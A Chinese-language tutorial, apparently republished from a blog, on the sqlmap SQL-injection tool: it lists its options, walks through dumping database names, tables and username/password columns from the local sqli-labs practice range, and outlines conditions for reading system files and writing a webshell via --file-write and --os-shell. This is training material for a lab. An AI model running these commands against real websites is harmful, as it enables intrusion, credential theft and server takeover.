白晝安全
一、Sqlmap簡介與使用
當我們明白sql注入的原理,滲透過程似乎很簡單。但事實上,在實際的滲透當中,漏洞注入并非僅僅只是通過簡單的一兩次嘗試就能夠得到測試人員想要的答案。很多時候,它需要經過許多次繁雜的嘗試。所以,要提高滲透測試的效率,單純的依靠測試人員自身的實戰經驗也是遠遠不夠的。因此,我們需要滲透工具的幫助。而sqlmap就是這樣一款強大而且便于操作的滲透測試工具。
sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。
1、Sqlmap的安裝
Sqlmap安裝完成后,那么即可開始使用。
2、sqlmap的使用
-u
指定目標URL (可以是http協議也可以是https協議)
-d
連接數據庫
--dbs
列出所有的數據庫
--current-db
列出當前數據庫
--tables
列出當前的表
--columns
列出當前的列
-D
選擇使用哪個數據庫
-T
選擇使用哪個表
-C
選擇使用哪個列
--dump
獲取字段中的數據
--dump-all
拖庫
--batch
自動選擇yes
--smart
啟發式快速判斷,節約浪費時間
--forms
嘗試使用post注入
-r
加載文件中的HTTP請求(本地保存的請求包txt文件)
-l
加載文件中的HTTP請求(本地保存的請求包日志文件)
-g
自動獲取Google搜索的前一百個結果,對有GET參數的URL測試
-o
開啟所有默認性能優化
--tamper
調用腳本進行注入
-v
指定sqlmap的回顯等級
--delay
設置多久訪問一次
--os-shell
獲取主機shell,一般不太好用,因為沒權限
-m
批量操作
-c
指定配置文件,會按照該配置文件執行動作
-data
data指定的數據會當做post數據提交
-timeout
設定超時時間
-level
設置注入探測等級共有五個等級,默認為1級, 這個參數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。總之在你不確定哪個payload或者參數為注入點的時候,為了保證全面性,建議使用高的level值。
--is-dba
判斷當前用戶是否為數據庫管理員權限
--risk
風險等級
--identify-waf
檢測防火墻類型
--param-del="分割符"
設置參數的分割符
--skip-urlencode
不進行url編碼
--keep-alive
設置持久連接,加快探測速度
--null-connection
檢索沒有body響應的內容,多用于盲注
--thread
最大為10 設置多線程
--delay
有些web服務器請求訪問太過頻繁可能會被防火墻攔截,使用--delay就可以設定兩次http請求的延時
--safe-url
有的web服務器會在多次錯誤的訪問請求后屏蔽所有請求,使用--safe-url 就可以每隔一段時間去訪問一個正常的頁面。
--technique
指定注入類型
B:Boolean-based-blind (布爾型型注入)
E:Error-based (報錯型注入)
U:Union query-based (聯合注入)
S:Starked queries (通過sqlmap讀取文件系統、操作系統、注冊表必須 使用該參數,可多語句查詢注入)
T:Time-based blind (基于時間延遲注入)
--tamper
語法:--tamper ["腳本名稱"]
當調用多個腳本的時候,腳本之間用逗號隔開,調用的腳本在 sqlmap文件夾下的 tamper 文件夾中
-v ["x"]
使用sqlmap注入測試時,可以使用 -v [x] 參數來指定回顯信息的復雜程度, x 的取值范圍為[0~6]:
等級
解釋
0
只顯示python錯誤以及嚴重信息
1
同時顯示基本信息和警告信息
2
同時顯示debug信息
3
同時顯示注入的pyload
4
同時顯示HTTP請求
5
同時顯示HTTP相應頭
6
同時顯示HTTP相應頁面
二、Sqlmap自動化基礎注入實戰
環境:sql-lib靶場第一關,url如下
http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1
1、取數據庫名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" --dbs --batch
效果如下
2、讀取表名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" --tables --batch
效果如下
3、讀取字段名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” --columns --batch
效果如下
4、讀取數據
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” -C “username,password” --dump --batch
效果如下
三、sqlmap讀取目標系統文件
利用sqlmap讀取文件,也是需要滿足條件的。
(1)當前sql注入用戶必須為DBA權限(--is-dba為true)
(2)需要知道網站的絕對路徑
(3)My.ini文件中的這項配置secure_file_priv=””為空
四、通過sqlmap寫入webshell
Sqlmap寫入webshell也是和手工寫入webshell一樣需要滿足條件:
(1)當前sql注入用戶必須為DBA權限(--is-dba為true)
(2)需要知道網站的絕對路徑
(3)My.ini文件中的這項配置secure_file_priv=””為空
這個操作和通過sql注入的union配合into outfile原理一樣,只不過sqlmap提供了一鍵化操作,格式如下即可
--file-write //要寫入的文件
--file-dest //寫入文件存放的路徑
具體操作就是通過--os-shell,相信很多同學應該都會了,所以這里就不多講了
原文鏈接:https://blog.csdn.net/qq_63844103/article/details/128671338
編輯:何安
-
網絡安全
+關注
關注
10文章
3176瀏覽量
59933 -
SQL
+關注
關注
1文章
768瀏覽量
44177 -
自動化
+關注
關注
29文章
5598瀏覽量
79428
發布評論請先 登錄
相關推薦
評論